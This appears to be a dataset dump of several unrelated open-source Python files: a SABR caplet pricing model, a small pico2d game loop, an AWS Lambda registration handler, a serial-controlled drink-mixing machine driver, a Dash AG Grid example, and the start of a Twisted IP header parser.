3\n int_2_2 = (\n self.sabr[\"alpha\"][0] ** 2\n * self.sabr[\"volvol\"][0] ** 2\n * self.sabr[\"rho\"][0] ** 2\n * self.caplet.start() ** 2\n ) / (2 * self.exp + 1)\n int_2_3 = (\n 2\n * self.sabr[\"alpha\"][0]\n * self.sabr[\"alpha\"][1]\n * self.sabr[\"volvol\"][0]\n * self.sabr[\"volvol\"][1]\n * self.sabr[\"rho\"][0]\n * self.sabr[\"rho\"][1]\n * self.caplet.start()\n * (self.caplet.end() - self.caplet.start())\n ) / ((2 * self.exp + 1) * (3 * self.exp + 2))\n int_2_4 = (\n 2\n * self.sabr[\"alpha\"][1] ** 2\n * self.sabr[\"volvol\"][1] ** 2\n * self.sabr[\"rho\"][1] ** 2\n * (self.caplet.end() - self.caplet.start()) ** 2\n ) / ((2 * self.exp + 1) * (3 * self.exp + 2) * (4 * self.exp + 3))\n int_2 = int_2_1 + self.sabr[\"alpha\"][1] ** 2 * (\n self.caplet.end() - self.caplet.start()\n ) * (int_2_2 + int_2_3 + int_2_4)\n\n c0 = (3 / (tau_1**3)) * (int_1 + 3 * int_2) - 3 * b_0**2\n return c0, np.nan\n\n def _G(self):\n \"\"\"\n Function that determines G in Appendix B [3].\n \"\"\"\n # DOCSTRING\n # TODO Also calculate G_1\n delta_0, delta_1 = self._delta_sqr()\n c_0, c_1 = self._c()\n\n g_0_nu_0 = (self.sabr[\"alpha\"][0] ** 2 * self.caplet.start() ** 2) / 2 + (\n self.sabr[\"alpha\"][1] ** 2\n * self.caplet.start()\n * (self.caplet.end() - self.caplet.start())\n ) / (2 * self.exp + 1)\n g_0_nu_1 = (\n self.sabr[\"alpha\"][1] ** 2 * (self.caplet.end() - self.caplet.start()) ** 2\n ) / ((2 * self.exp + 1) * (2 * self.exp + 2))\n g_0_int = (\n self.sabr[\"volvol\"][0] ** 2 * g_0_nu_0\n + self.sabr[\"volvol\"][1] ** 2 * g_0_nu_1\n )\n tau_t1 = self.caplet.end() * delta_0\n\n g_0 = (2 * g_0_int) / ((self.caplet.end() * delta_0) ** 2) - c_0\n\n # TEST G_1 calculations\n g_1 = ((self.sabr[\"volvol\"][1] ** 2) / (delta_1 * (self.exp + 1))) - c_1\n\n return g_0, g_1\n\n def eff_parameters(self):\n \"\"\"\n Determines the effective SABR parameters based on the\n expressions b, c, G and Δ^2 in Appendix B [3].\n \"\"\"\n # DOCSTRING\n delta_0_sqr, delta_1_sqr = self._delta_sqr()\n b_0, b_1 = self._b()\n c_0, c_1 = self._c()\n g_0, g_1 = self._G()\n\n self.sabr_eff[\"alpha\"][0] = np.sqrt(delta_0_sqr) * np.exp(\n (delta_0_sqr * g_0 * self.caplet.end()) / 4\n )\n # self.sabr_eff[\"alpha\"][1] = np.sqrt(delta_1_sqr) * np.exp(\n # (delta_1_sqr * g_1 * self.caplet.end()) / 4\n # )\n\n self.sabr_eff[\"rho\"][0] = b_0 / np.sqrt(c_0)\n # self.sabr_eff[\"rho\"][1] = b_1 / np.sqrt(c_1)\n\n self.sabr_eff[\"volvol\"][0] = np.sqrt(delta_0_sqr) * np.sqrt(c_0)\n # self.sabr_eff[\"volvol\"][1] = np.sqrt(delta_1) * np.sqrt(c_1)\n\n return (\n self.sabr_eff[\"alpha\"][0],\n self.sabr_eff[\"rho\"][0],\n self.sabr_eff[\"volvol\"][0],\n )\n\n def orig_parameters(self, alpha_eff, rho_eff, volvol_eff):\n \"\"\"\n Function that determines the original SABR parameters from the\n set of effective SABR parameters.\n \"\"\"\n\n def objective_function(arg, eff_params):\n self.sabr = {\n \"alpha\": [arg[0], arg[1]],\n \"beta\": self.sabr[\"beta\"],\n \"rho\": [arg[2], arg[3]],\n \"volvol\": [arg[4], arg[5]],\n }\n alpha, rho, volvol = self.eff_parameters()\n return error_function(np.array([alpha, rho, volvol]), np.array(eff_params))\n\n eps = 0.001\n sabr_bounds = [\n (eps, 0.2),\n (eps, 0.2),\n (-1 + eps, 1 - eps),\n (-1 + eps, 1 - eps),\n (eps, 1),\n (eps, 1),\n ]\n eff_params = [alpha_eff, rho_eff, volvol_eff]\n\n result = differential_evolution(\n objective_function,\n bounds=sabr_bounds,\n args=[eff_params],\n disp=True,\n polish=False,\n )\n\n return result.x\n\n def _equivalent_volatility_1(self, model: str):\n \"\"\" \"\"\"\n # DOCSTRING\n # TEST for in_accrual\n # TODO set correct SABR parameters in _equivalent_volatility\n\n # Chooses the right set of SABR parameters\n if self.caplet.direction == \"bwd\" and not self.caplet.in_accrual:\n sabr = {\n \"alpha\": self.sabr_eff[\"alpha\"][0],\n \"beta\": self.sabr_eff[\"beta\"],\n \"rho\": self.sabr_eff[\"rho\"][0],\n \"volvol\": self.sabr_eff[\"volvol\"][0],\n }\n elif self.caplet.direction == \"bwd\" and self.caplet.in_accrual:\n sabr = {\n \"alpha\": self.sabr_eff[\"alpha\"][1],\n \"beta\": self.sabr_eff[\"beta\"],\n \"rho\": self.sabr_eff[\"rho\"][1],\n \"volvol\": self.sabr_eff[\"volvol\"][1],\n }\n else:\n sabr = {\n \"alpha\": self.sabr[\"alpha\"][0],\n \"beta\": self.sabr[\"beta\"],\n \"rho\": self.sabr[\"rho\"][0],\n \"volvol\": self.sabr[\"volvol\"][0],\n }\n\n if model.lower() == \"black\":\n if not self.__no_black_model_support:\n if np.isclose(self.caplet.init_fwd, self.caplet.strike): # ATM\n return sabr[\"alpha\"] * self.caplet.init_fwd ** (sabr[\"beta\"] - 1)\n zeta = (sabr[\"volvol\"] / sabr[\"alpha\"]) * (\n (self.caplet.init_fwd * self.caplet.strike)\n ** ((1 - sabr[\"beta\"]) / 2)\n * np.log(self.caplet.init_fwd / self.caplet.strike)\n )\n numerator = (\n sabr[\"alpha\"]\n * zeta\n * (self.caplet.init_fwd * self.caplet.strike)\n ** ((sabr[\"beta\"] - 1) / 2)\n )\n adj_log_money = (1 - sabr[\"beta\"]) * np.log(\n self.caplet.init_fwd / self.caplet.strike\n ) # (1-β) log(F/K)\n denominator = (\n 1 + adj_log_money**2 / 24 + adj_log_money**4 / 1920\n ) * self._chi(zeta, sabr[\"rho\"])\n return numerator / denominator\n raise ValueError(\"Black model not supported for currents sabr\")\n if model.lower() == \"bachelier\":\n if self.caplet.init_fwd <= 0 or self.caplet.strike <= 0:\n if np.isclose(sabr[\"beta\"], 0):\n if np.isclose(self.caplet.init_fwd, self.caplet.strike): # ATM case\n return sabr[\"alpha\"]\n zeta = (\n sabr[\"volvol\"] * (self.caplet.init_fwd - self.caplet.strike)\n ) / sabr[\"alpha\"]\n return (sabr[\"alpha\"] * zeta) / (self._chi(zeta, sabr[\"rho\"]))\n raise ValueError(\"Negative F or K only supported for beta = 0\")\n if np.isclose(self.caplet.init_fwd, self.caplet.strike): # ATM case\n return sabr[\"alpha\"] * self.caplet.init_fwd ** sabr[\"beta\"]\n if np.isclose(sabr[\"beta\"], 1): # β = 1\n zeta = (\n sabr[\"volvol\"] * (self.caplet.init_fwd - self.caplet.strike)\n ) / (sabr[\"alpha\"] * np.sqrt(self.caplet.init_fwd * self.caplet.strike))\n return (\n sabr[\"alpha\"] * (self.caplet.init_fwd - self.caplet.strike) * zeta\n ) / (\n (np.log(self.caplet.init_fwd) - np.log(self.caplet.strike))\n * self._chi(zeta, sabr[\"rho\"])\n )\n zeta = (sabr[\"volvol\"] * (self.caplet.init_fwd - self.caplet.strike)) / (\n sabr[\"alpha\"]\n * (self.caplet.init_fwd * self.caplet.strike) ** (sabr[\"beta\"] / 2)\n )\n chi_zeta = self._chi(zeta, sabr[\"rho\"])\n return (\n sabr[\"alpha\"]\n * (1 - sabr[\"beta\"])\n * (self.caplet.init_fwd - self.caplet.strike)\n * zeta\n ) / (\n (\n self.caplet.init_fwd ** (1 - sabr[\"beta\"])\n - self.caplet.strike ** (1 - sabr[\"beta\"])\n )\n * chi_zeta\n )\n\n def _equivalent_volatility_2(self, model: str):\n \"\"\" \"\"\"\n # TEST\n # DOCSTRING\n\n # Chooses the right set of SABR parameters\n if self.caplet.direction == \"bwd\" and not self.caplet.in_accrual:\n sabr = {\n \"alpha\": self.sabr_eff[\"alpha\"][0],\n \"beta\": self.sabr_eff[\"beta\"],\n \"rho\": self.sabr_eff[\"rho\"][0],\n \"volvol\": self.sabr_eff[\"volvol\"][0],\n }\n elif self.caplet.direction == \"bwd\" and self.caplet.in_accrual:\n sabr = {\n \"alpha\": self.sabr_eff[\"alpha\"][1],\n \"beta\": self.sabr_eff[\"beta\"],\n \"rho\": self.sabr_eff[\"rho\"][1],\n \"volvol\": self.sabr_eff[\"volvol\"][1],\n }\n else:\n sabr = {\n \"alpha\": self.sabr[\"alpha\"][0],\n \"beta\": self.sabr[\"beta\"],\n \"rho\": self.sabr[\"rho\"][0],\n \"volvol\": self.sabr[\"volvol\"][0],\n }\n\n if model.lower() == \"black\":\n term_1 = (\n (1 - sabr[\"beta\"]) ** 2\n * sabr[\"alpha\"] ** 2\n * (self.caplet.init_fwd * self.caplet.strike) ** (sabr[\"beta\"] - 1)\n ) / 24\n elif model.lower() == \"bachelier\":\n if np.isclose(sabr[\"beta\"], 0):\n term_1 = 0\n else:\n term_1 = (\n sabr[\"alpha\"] ** 2\n * sabr[\"beta\"]\n * (sabr[\"beta\"] - 2)\n * (self.caplet.init_fwd * self.caplet.strike) ** (sabr[\"beta\"] - 1)\n ) / 24\n if np.isclose(sabr[\"beta\"], 0):\n term_2 = 0\n else:\n term_2 = (\n sabr[\"alpha\"]\n * sabr[\"beta\"]\n * sabr[\"rho\"]\n * sabr[\"volvol\"]\n * (self.caplet.init_fwd * self.caplet.strike)\n ** ((sabr[\"beta\"] - 1) / 2)\n ) / 4\n term_3 = ((2 - 3 * sabr[\"rho\"] ** 2) * sabr[\"volvol\"] ** 2) / 24\n return np.real(term_1 + term_2 + term_3)\n\n def equivalent_volatility(self, model: str):\n \"\"\" \"\"\"\n # TEST to fwd and bwd-looking caplets\n # DOCSTRING\n if self.caplet.direction == \"fwd\" and self.caplet.in_accrual:\n raise ValueError(\"Can't price fwd-looking caplet in accrual period\")\n if model.lower() == \"bachelier\":\n i_1 = self._equivalent_volatility_1(\"bachelier\")\n i_2 = self._equivalent_volatility_2(\"bachelier\")\n elif model.lower() == \"black\" and not self.__no_black_model_support:\n i_1 = self._equivalent_volatility_1(\"black\")\n i_2 = self._equivalent_volatility_2(\"black\")\n elif model.lower() == \"black\" and self.__no_black_model_support:\n raise ValueError(\"Black model not supported\")\n else:\n raise ValueError(f\"Unknown model: {model}\")\n\n if any(np.isnan([i_1, i_2])):\n raise ValueError(f\"NaN found in {model}-volatility\")\n if self.caplet.direction == \"fwd\": # BUG Is this correct?\n return i_1 * (1 + i_2 * self.caplet.start())\n return i_1 * (1 + i_2 * self.caplet.end())\n\n def option_premium(self, model: str):\n vol = self.equivalent_volatility(model)\n if model == \"bachelier\":\n return self._bachelier_formula(vol)\n return self._black_formula(vol)\n\n def _black_formula(self, volatility):\n \"\"\"Determines Black option premium\"\"\"\n # DOCSTRING\n # TODO check maturity, start or end?\n d_plus = (\n np.log(self.caplet.init_fwd / self.caplet.strike)\n + 0.5 * volatility**2 * self.caplet.end()\n ) / (volatility * np.sqrt(self.caplet.end()))\n d_min = (\n np.log(self.caplet.init_fwd / self.caplet.strike)\n - 0.5 * volatility**2 * self.caplet.end()\n ) / (volatility * np.sqrt(self.caplet.end()))\n\n call_premium = self.caplet.init_fwd * norm.cdf(\n d_plus\n ) - self.caplet.strike * norm.cdf(d_min)\n\n if self.caplet.call_put == \"call\":\n return call_premium\n return call_premium + (self.caplet.strike - self.caplet.init_fwd)\n\n def _bachelier_formula(self, volatility):\n \"\"\" \"\"\"\n # DOCSTRING\n # TODO check maturity, start or end?\n norm_argument = (self.caplet.init_fwd - self.caplet.strike) / (\n volatility * np.sqrt(self.caplet.end())\n )\n if self.caplet.call_put == \"call\":\n return (self.caplet.init_fwd - self.caplet.strike) * norm.cdf(\n norm_argument\n ) + volatility * np.sqrt(self.caplet.end()) * norm.pdf(norm_argument)\n return (self.caplet.strike - self.caplet.init_fwd) * norm.cdf(\n -norm_argument\n ) + volatility * np.sqrt(self.caplet.end()) * norm.pdf(norm_argument)\n\n def market_equiv_vol(self, market_caplet: MarketCaplet, model: str):\n \"\"\" \"\"\"\n # DOCSTRING\n # FIXME\n self._set_market_caplet_as_inner_caplet(market_caplet)\n if model.lower() == \"black\":\n return self.equivalent_volatility(model=\"black\")\n if model.lower() == \"bachelier\":\n return self.equivalent_volatility(model=\"bachelier\")\n raise ValueError(f\"Unsupported model: {model}\")\n\n def _set_market_caplet_as_inner_caplet(self, market_caplet: MarketCaplet):\n \"\"\"\n Sets market_caplet as self.caplet, makes it possible to compute\n the option premium or equivalent volatility of market_caplet for a particular\n set of SABR parameters.\n \"\"\"\n # DOCSTRING\n self.caplet.start_date = market_caplet.start_date\n self.caplet.end_date = market_caplet.end_date\n self.caplet.init_fwd = market_caplet.init_fwd\n self.caplet.strike = market_caplet.strike\n self.caplet.direction = market_caplet.direction\n self.caplet.call_put = market_caplet.call_put\n self.caplet.reference_date = market_caplet.reference_date\n self.caplet.day_count_convention = market_caplet.day_count_convention\n\n def market_calibration(\n self,\n market_caplets: list,\n model: str,\n disp=False,\n set_new_params=False,\n criterion=\"abs_abs\",\n ):\n market_vols = np.array([market_caplet.vol for market_caplet in market_caplets])\n eps = 0.001\n sabr_bounds = [\n (eps, 0.2),\n (eps, 0.2),\n (-1 + eps, 1 - eps),\n (-1 + eps, 1 - eps),\n (eps, 1),\n (eps, 1),\n ]\n\n def objective_function(arg, market_caplets):\n self.sabr = {\n \"alpha\": [arg[0], arg[1]],\n \"beta\": self.sabr[\"beta\"],\n \"rho\": [arg[2], arg[3]],\n \"volvol\": [arg[4], arg[5]],\n }\n self.eff_parameters()\n\n model_vols = np.array(\n [\n self.market_equiv_vol(market_caplet, model=model)\n for market_caplet in market_caplets\n ]\n )\n return error_function(model_vols, market_vols, criterion)\n\n start_time = time.time()\n result = differential_evolution(\n objective_function,\n bounds=sabr_bounds,\n args=([market_caplets]),\n disp=disp,\n callback=callback_function,\n )\n elapsed_time = time.time() - start_time\n\n assert result.success, \"Minimization failed.\"\n print(result.x)\n print(f\"time\\t{elapsed_time:.2f} s\")\n\n # if set_new_params:\n # if market_caplets[0].direction == \"fwd\":\n # self.sabr[\"alpha\"], self.sabr[\"rho\"], self.sabr[\"volvol\"] = result.x\n # self.eff_parameters()\n # elif market_caplets[0].direction == \"bwd\":\n # (\n # self.sabr_eff[\"alpha\"],\n # self.sabr_eff[\"rho\"],\n # self.sabr_eff[\"volvol\"],\n # ) = result.x\n # self.orig_parameters()\n\n return result.x\n\n\nif __name__ == \"__main__\":\n # Define Backwards SABR Model Parameters\n ALPHA = [0.04, 0.025]\n BETA = 0\n RHO = [-0.4, -0.4]\n VOLVOL = [0.4, 0.48]\n Q = 1\n\n # Define Caplet\n REFERENCE_DATE = date(2023, 4, 19)\n ACCRUAL_START = date(2024, 4, 19)\n ACCRUAL_END = date(2025, 4, 19)\n DAY_COUNT_CONVENTION = \"ACT365\"\n INIT_FWD = 0.05\n STRIKE = 0.04\n\n CAPLET = Caplet(\n ACCRUAL_START,\n ACCRUAL_END,\n INIT_FWD,\n STRIKE,\n \"bwd\",\n \"call\",\n REFERENCE_DATE,\n DAY_COUNT_CONVENTION,\n )\n\n # Import Discount Curve\n DISCOUNT_CURVE = Curve(\"Data/SOFR_YC_USD_19042023\", REFERENCE_DATE, \"ACT365\")\n\n # Initialize SABR Model\n SABR = SabrModel(ALPHA, BETA, RHO, VOLVOL, Q, CAPLET, DISCOUNT_CURVE)\n\n alpha_res = SABR.sabr_eff[\"alpha\"][0]\n rho_res = SABR.sabr_eff[\"rho\"][0]\n volvol_res = SABR.sabr_eff[\"volvol\"][0]\n\n print(SABR.orig_parameters(alpha_res, rho_res, volvol_res))\n","repo_name":"sandershortway/SABR-Model-for-Overnight-Index-Averages","sub_path":"sabr_model_taipe.py","file_name":"sabr_model_taipe.py","file_ext":"py","file_size_in_byte":25699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14469128754","text":"import game_framework\nfrom pico2d import *\nfrom Boy import *\nfrom World import *\nfrom Enemy import *\nfrom JangPung import *\nfrom Project import title_state\nimport random\nimport math\n\n\n\nboy = None\ngrass = None\nbackGround = None\njangPungList = []\nenemyList = []\ntotalTime = 0\nprevTime =0\n\ndef enter():\n global boy, grass, background, enemy\n\n boy=Boy()\n grass=Grass()\n background=BackGround()\n\ndef exit():\n global boy,grass,background, enemy\n del(boy)\n del(grass)\n del(background)\n del(enemy)\n\ndef Collision(param1, param2):\n dist = math.sqrt(pow(param1[0]-param2[0],2)+pow(param1[1]-param2[1],2))\n if(dist<10):\n return True\n return False\n\n\ndef handle_events():\n global prevTime, totalTime\n totalTime +=(get_time() - prevTime)\n prevTime = get_time()\n events = get_events()\n for event in events:\n if event.type == SDL_QUIT:\n game_framework.quit()\n elif event.type == SDL_KEYDOWN and event.key == SDLK_ESCAPE:\n game_framework.change_state(title_state)\n elif event.type == SDL_KEYDOWN and event.key == SDLK_SPACE:\n if (random.randint(0, 100) < 40):\n if(totalTime>0.1):\n Jang = JangPung(boy.x, boy.state % 2)\n jangPungList.append(Jang)\n totalTime = 0\n boy.handle_event(event)\ndef update():\n global boy, enemy, Jang\n boy.update()\n for jangPung in jangPungList:\n jangPung.update()\n for enemy in enemyList:\n enemy.update()\n if(enemy.dead):\n enemyList.remove(enemy)\n continue\n if(Collision((enemy.x,enemy.y),(boy.x,boy.y))):\n boy.hp -=1\n for jangPung in jangPungList:\n if(Collision((enemy.x,enemy.y),(jangPung.x,jangPung.y))):\n enemy.dead = True\n\n if(boy.hp<0):#죽을때\n pass\n\n if(random.randint(0,100)<3):\n newEnemy = Enemy()\n enemyList.append(newEnemy)\ndef draw():\n global boy, grass, background, enemy,jangPungList\n clear_canvas()\n background.draw()\n grass.draw()\n boy.draw()\n for jangPung in jangPungList:\n jangPung.draw()\n for enemy in enemyList:\n enemy.draw()\n update_canvas()\n delay(0.04)\n","repo_name":"deigonz/pythonGame","sub_path":"Project/main_state.py","file_name":"main_state.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14497526991","text":"import uuid\nimport boto3\nfrom botocore.exceptions import ClientError\nimport os\nimport logging\nfrom Person import Person\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndynamoTable=\"\"\n\ndef init():\n global dynamoDbTable \n\n print('init') \n dynamoTableName = os.environ.get('DYNAMO_TABLE_NAME')\n dynamodb = boto3.resource('dynamodb')\n dynamoDbTable = dynamodb.Table(dynamoTableName)\n print('FIN init')\n\ninit()\n\n\ndef check_if_item_exist(userUid):\n global dynamoDbTable \n response = dynamoDbTable.get_item(Key={'userId':userUid})\n\n if 'Item' in response:\n return True\n else:\n return False\n\ndef lambda_handler(event, context):\n firstname=event['firstname']\n lastname=event['lastname']\n userUid=str(uuid.uuid4())\n\n p1=Person(firstname,lastname,10)\n p1.presentation()\n\n #Test if not already exist then regenerate until a good one\n isfree=False\n while not isfree:\n if check_if_item_exist(userUid):\n # uid alread exist\n logger.warn(\"user id {} already in use\".format(userUid))\n userUid=str(uuid.uuid4())\n else:\n logger.info(\"{} is free user uid\".format(userUid))\n isfree=True \n\n \n logger.info('Creating user for {} {}. User uid will be {}' .format(p1.getFistname(),p1.getLastname(),userUid))\n dynamoDbTable.put_item(\n Item={\n 'userId': userUid,\n 'firstname': p1.getFistname(),\n 'lastname': p1.getLastname(),\n 'amount': p1.getAmount()\n }\n )\n\n logger.info('User credit for new user {} is {}'.format(userUid, p1.getAmount()))\n return userUid","repo_name":"remy-bresson/pileFace","sub_path":"lambda/register/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6511764344","text":"import threading, serial, time, logging\r\nimport database as rootdb\r\nfrom inspect import currentframe, getframeinfo\r\n\r\n\r\ndef debug_print(arg):\r\n frameinfo = currentframe()\r\n print(frameinfo.f_back.f_lineno, \":\", arg)\r\n\r\n\r\nclass PyDrink(threading.Thread):\r\n cart_position = 0\r\n states = {\"OK\": 1,\r\n \"NOK\": 2,\r\n \"TARE_TIMOUT\": 3,\r\n \"DRINK_EMPTY\": 4,\r\n }\r\n progress = 0\r\n progress_temp = 0\r\n progress_part = 0\r\n action = None\r\n params = None\r\n error_state = 0\r\n\r\n def __init__(self,port=\"COM5\"):\r\n threading.Thread.__init__(self)\r\n self.serial_port = serial.Serial(port, 115200)\r\n self.ready = True\r\n\r\n self.logger = logging.getLogger('PyDrink')\r\n self.logger.setLevel(logging.DEBUG)\r\n fh = logging.FileHandler('PyDrink.log')\r\n fh.setLevel(logging.DEBUG)\r\n formatter = logging.Formatter('%(asctime)s|%(name)s|%(levelname)s|%(message)s')\r\n fh.setFormatter(formatter)\r\n ch = logging.StreamHandler()\r\n ch.setLevel(logging.DEBUG)\r\n ch.setFormatter(formatter)\r\n\r\n self.logger.addHandler(ch)\r\n self.logger.addHandler(fh)\r\n\r\n def prepare_run(self, action, params):\r\n self.action = action\r\n self.params = params\r\n self.progress = 0\r\n\r\n def run(self):\r\n while 1:\r\n if (self.action == \"makedrink\"):\r\n self.make_drink(self.params)\r\n self.action = None\r\n time.sleep(0.5)\r\n\r\n def mainloop(self):\r\n pass\r\n\r\n def send_command(self, command):\r\n\r\n try:\r\n print(\"sending\",command)\r\n self.flush_port()\r\n self.serial_port.write(bytes(command, \"utf-8\"))\r\n self.logger.info(\"Sent command \" + command)\r\n return True\r\n except:\r\n self.logger.warning(\"Unable to send command \" + command)\r\n return False\r\n\r\n def read_reply(self, timeout):\r\n start_time = time.time()\r\n while start_time + timeout > time.time():\r\n if self.serial_port.inWaiting():\r\n time.sleep(0.1)\r\n reply = str(self.serial_port.read(self.serial_port.inWaiting()), \"utf-8\").replace(\"\\r\\n\", \"\")\r\n self.logger.info(\"reply \" + reply)\r\n reply = reply.replace(\"DONEDONE\", \"DONE\")\r\n return reply\r\n return False\r\n\r\n def flush_port(self):\r\n self.serial_port.flushOutput()\r\n self.serial_port.flushInput()\r\n\r\n def close_port(self):\r\n self.serial_port.close()\r\n\r\n def move_cart_to_pos(self, pos):\r\n\r\n self.logger.info(\"Moving cart to pos \" + str(pos))\r\n dir = None\r\n if pos == \"home\":\r\n dir = \"h\"\r\n self.cart_position = 0\r\n pos = 0\r\n elif pos > self.cart_position:\r\n dir = \"1\"\r\n elif pos < self.cart_position:\r\n dir = \"0\"\r\n elif pos == self.cart_position:\r\n dir = \"0\"\r\n\r\n\r\n time.sleep(0.2)\r\n self.flush_port()\r\n command = \"m\" + dir + str(abs(self.cart_position - pos))\r\n while 1:\r\n self.send_command(\"m\" + dir + str(abs(self.cart_position - pos)))\r\n rep = self.read_reply(2)\r\n if rep:\r\n rep = rep.replace(\"home\",\"\").replace(\"DONE\",\"\")\r\n self.logger.info(\"sending \"+command+\", received \"+rep)\r\n if rep == command:\r\n break\r\n self.cart_position = pos\r\n res = self.read_reply(45)\r\n if res == \"DONE\":\r\n self.logger.info(\"Cart moved to \" + str(pos))\r\n return True\r\n elif not res:\r\n self.logger.error(\"Cart not moved\")\r\n return False\r\n elif \"home\" in res:\r\n self.cart_position = 0\r\n self.logger.warning(\"Cart moved to home\")\r\n return True\r\n\r\n def get_weight(self):\r\n self.send_command(\"s\")\r\n res = self.read_reply(1)\r\n if res:\r\n res = res.replace(\"DONE\", \"\").replace(\"s\",\"\")\r\n self.logger.info(\"Scale measure \" + str(res))\r\n try:\r\n return float(res)\r\n except:\r\n return False\r\n self.logger.error(\"Scale not responding\")\r\n return False\r\n\r\n def tare_scale(self):\r\n self.send_command(\"st\")\r\n res = self.read_reply(5)\r\n if res == \"DONE\":\r\n return True\r\n return False\r\n\r\n def pour_drink(self, tap, amount):\r\n db = rootdb.Database(\"database.db\")\r\n _i = 1\r\n while not self.move_cart_to_pos(db.get_tap_pos(tap)):\r\n _i += 1\r\n if _i > 3:\r\n return self.states[\"NOK\"]\r\n self.tare_scale()\r\n self.send_command(\"p\" + str(tap - 1) + \"1\")\r\n self.read_reply(0.5)\r\n st = time.time()\r\n parts = 20\r\n while 1:\r\n w = self.get_weight()\r\n while w == False:\r\n w = self.get_weight()\r\n print(w)\r\n\r\n if w is False:\r\n self.send_command(\"pa\")\r\n return self.states[\"TARE_TIMOUT\"]\r\n if w >= amount:\r\n self.send_command(\"pa\")\r\n return self.states[\"OK\"]\r\n if st + 5 < time.time():\r\n self.send_command(\"pa\")\r\n res = self.read_reply(1)\r\n return self.states[\"DRINK_EMPTY\"]\r\n if False: #w > parts:\r\n self.send_command(\"p\" + str(tap - 1) + \"0\")\r\n self.read_reply(0.5)\r\n parts += 20\r\n time.sleep(2.5)\r\n st = time.time()\r\n self.send_command(\"p\" + str(tap - 1) + \"1\")\r\n self.read_reply(0.5)\r\n #a = self.map(w, 0, amount, 0, self.progress_part)\r\n #self.progress = self.progress_temp + a\r\n #print(self.progress, \"\\t\", self.progress_temp, \"\\t\", a, \"\\t\", self.progress_part)\r\n\r\n\r\n\r\n def make_drink(self, drink_id):\r\n self.tare_scale()\r\n db = rootdb.Database(\"database.db\")\r\n db.c.execute(\"SELECT * FROM parts WHERE part_drink = ? ORDER BY part_order ASC\", str(drink_id))\r\n parts = db.c.fetchall()\r\n self.progress_part = 100 / (len(parts) + 2)\r\n self.progress = 0\r\n self.progress_temp = 0\r\n self.move_cart_to_pos(\"home\")\r\n self.progress += self.progress_part\r\n self.progress_temp += self.progress_part\r\n for part in parts:\r\n db.c.execute(\"SELECT tap_id FROM taps WHERE tap_liquid = ? AND tap_empty = 0 LIMIT 1\", str(part[3]))\r\n tap = db.c.fetchone()[0]\r\n res = self.pour_drink(tap, part[4])\r\n if res != self.states[\"OK\"]:\r\n self.error_state = res\r\n self.progress = -1\r\n return\r\n\r\n time.sleep(0.5)\r\n self.progress += self.progress_part\r\n self.progress_temp += self.progress_part\r\n time.sleep(1)\r\n print(self.serial_port.inWaiting())\r\n self.flush_port()\r\n print(self.serial_port.inWaiting())\r\n print(\"moving cart\")\r\n self.move_cart_to_pos(\"home\")\r\n print(\"cart moved\")\r\n self.progress += self.progress_part\r\n self.progress = 100\r\n\r\n def map(self, x, in_min, in_max, out_min, out_max):\r\n return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min\r\n\r\n","repo_name":"adamjezek98/pydrink","sub_path":"source/python_service/pydrink.py","file_name":"pydrink.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7483491799","text":"\"\"\"\nSingle Row Selection - without check boxes.\n\"\"\"\nimport dash\n\nimport dash_ag_grid as dag\nfrom dash import Dash, html, dcc, Input, Output\nimport requests\n\napp = Dash(__name__)\n\n\ndata = requests.get(\n r\"https://www.ag-grid.com/example-assets/olympic-winners.json\"\n).json()\n\n\ncolumnDefs = [\n {\"field\": \"athlete\"},\n {\"field\": \"age\"},\n {\"field\": \"country\"},\n {\"field\": \"year\"},\n {\"field\": \"date\"},\n {\"field\": \"sport\"},\n {\"field\": \"gold\"},\n {\"field\": \"silver\"},\n {\"field\": \"bronze\"},\n {\"field\": \"total\"},\n]\n\napp.layout = html.Div(\n [\n dcc.Markdown(\"This grid has single-select rows.\"),\n html.Div(id=\"selections-single-output\"),\n dag.AgGrid(\n id=\"selection-single-grid\",\n columnDefs=columnDefs,\n rowData=data,\n columnSize=\"sizeToFit\",\n defaultColDef={\"resizable\": True, \"sortable\": True, \"filter\": True},\n rowSelection=\"single\",\n ),\n ],\n style={\"margin\": 20},\n)\n\n\n@app.callback(\n Output(\"selections-single-output\", \"children\"),\n Input(\"selection-single-grid\", \"selectedRows\"),\n)\ndef selected(selected):\n if selected:\n return f\"You selected athlete: {selected[0]['athlete']}\"\n return \"No selections\"\n\n\nif __name__ == \"__main__\":\n app.run_server(debug=True)\n","repo_name":"fvdnabee/dash-ag-grid","sub_path":"docs/examples/selection/selection_single.py","file_name":"selection_single.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"31297911323","text":"import struct\nimport socket\n\nfrom twisted.internet import protocol\nfrom twisted.pair import raw\nfrom zope.interface import implementer\n\n\nclass IPHeader:\n def __init__(self, data):\n\n (ihlversion, self.tos, self.tot_len, self.fragment_id, frag_off,\n self.ttl, self.protocol, self.check, saddr, daddr) \\\n = struct.unpack(\"!BBHHHBBH4s4s\", data[:20])\n self.saddr = socket.inet_ntoa(saddr)\n self.daddr = socket.inet_ntoa(daddr)\n self.version = ihlversion & 0x0F\n self.ihl = ((ihlversion & 0xF0) >> 4) << 2\n self.fragment_offset = frag_off & 0x1FFF\n self.dont_fragment = (frag_off & 0x4000 != 0)\n self.more_fragments = (frag_off & 0x2000 != 0)\n\nMAX_SIZE = 2**32\n\n@implementer(raw.IRawPacketProtocol)\nclass IPProtocol(protocol.AbstractDatagramProtocol):\n def __init__(self):\n self.ipProtos = {}\n\n def addProto(self, num, proto):\n proto = raw.IRawDatagramProtocol(proto)\n if num < 0:\n raise TypeError('Added protocol must be positive or zero')\n if num >= MAX_SIZE:\n raise TypeError('Added protocol must fit in 32 bits')\n if num not in self.ipProtos:\n self.ipProtos[num] = []\n self.ipProtos[num].append(proto)\n\n def datagramReceived(self,\n data,\n partial,\n dest,\n source,\n protocol):\n header = IPHeader(data)\n for proto in 